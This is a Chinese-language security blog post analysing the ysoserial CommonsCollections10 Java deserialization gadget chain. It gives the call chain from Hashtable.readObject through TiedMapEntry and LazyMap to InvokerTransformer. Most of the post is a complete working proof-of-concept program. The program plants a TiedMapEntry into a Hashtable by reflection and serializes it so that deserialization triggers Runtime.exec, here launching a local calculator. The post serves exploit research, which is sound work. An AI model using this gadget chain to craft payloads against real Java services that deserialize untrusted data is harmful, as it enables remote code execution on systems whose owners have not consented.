0%

ysoserial分析之CommonsCollecions10

这篇文章分析的是CommonsCollections10,这是wh1t3p1g师傅提出来的,这篇文章分析分析它用到了哪个新的点。

前面已经分析了:
ysoserial分析之CommonsCollections1
ysoserial分析之CommonsCollections2
ysoserial分析之CommonsCollections3
ysoserial分析之CommonsCollections4
ysoserial分析之CommonsCollections5
ysoserial分析之CommonsCollections6
ysoserial分析之CommonsCollections7
ysoserial分析之CommonsCollections8
ysoserial分析之CommonsCollections9

wh1t3p1g师傅提出的CommonsCollections10主要是结合了CommonsCollection6,7。在Hashtable的reconstitutionPut函数中找到利用hashcode方法来触发TiedMapEntry.getValue方法,从而触发LazyMap.get方法的点。整个反序列链如下所示:

1
2
3
4
5
6
7
Hashtable.readObject()
->Hashtable.reconstitutionPut()
->TiedMapEntry.hashCode()
->TiedMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()
->InvokerTransformer.transform()

利用链分析及构造

最外层还是还是使用Hashtable触发了readObject函数,接着进入reconstitutionPut函数,看看这个函数。

可以看到了调用了hashCode()函数。而在前面提到过,TiedMapEntry类的触发getValue函数有toString、hashCode以及equals。这里是hashCode。所以,这里的key是TiedMapEntry对象。首先是构造TiedMapEntry对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"})

};

ChainedTransformer transformer = new ChainedTransformer(transformers);

Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map,transformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,1);

然后实例化一个Hashtable,放入元素后,获取Hashtable的table属性,然后获取table中的Entry的key属性,将key属性设置为TiedMapEntry对象即可。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Hashtable hashtable = new Hashtable();
hashtable.put("foo",1);

Field field = hashtable.getClass().getDeclaredField("table");
field.setAccessible(true);

Object[] table = (Object[]) field.get(hashtable);
Object entry = table[0];
if (entry==null){
entry = table[1];
}

Field keyfield = entry.getClass().getDeclaredField("key");
keyfield.setAccessible(true);
keyfield.set(entry,tiedMapEntry);

完整的demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;


public class test {


public static void main(String[] args) throws Exception{

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"})

};

ChainedTransformer transformer = new ChainedTransformer(transformers);

Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map,transformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,1);

Hashtable hashtable = new Hashtable();
hashtable.put("foo",1);

Field field = hashtable.getClass().getDeclaredField("table");
field.setAccessible(true);

Object[] table = (Object[]) field.get(hashtable);
Object entry = table[0];
if (entry==null){
entry = table[1];
}

Field keyfield = entry.getClass().getDeclaredField("key");
keyfield.setAccessible(true);
keyfield.set(entry,tiedMapEntry);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(baos);
out.writeObject(hashtable);
out.flush();
out.close();

byte[] bytes = baos.toByteArray();

ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream in = new ObjectInputStream(bais);
in.readObject();
in.close();

}
}

结果如下:

参考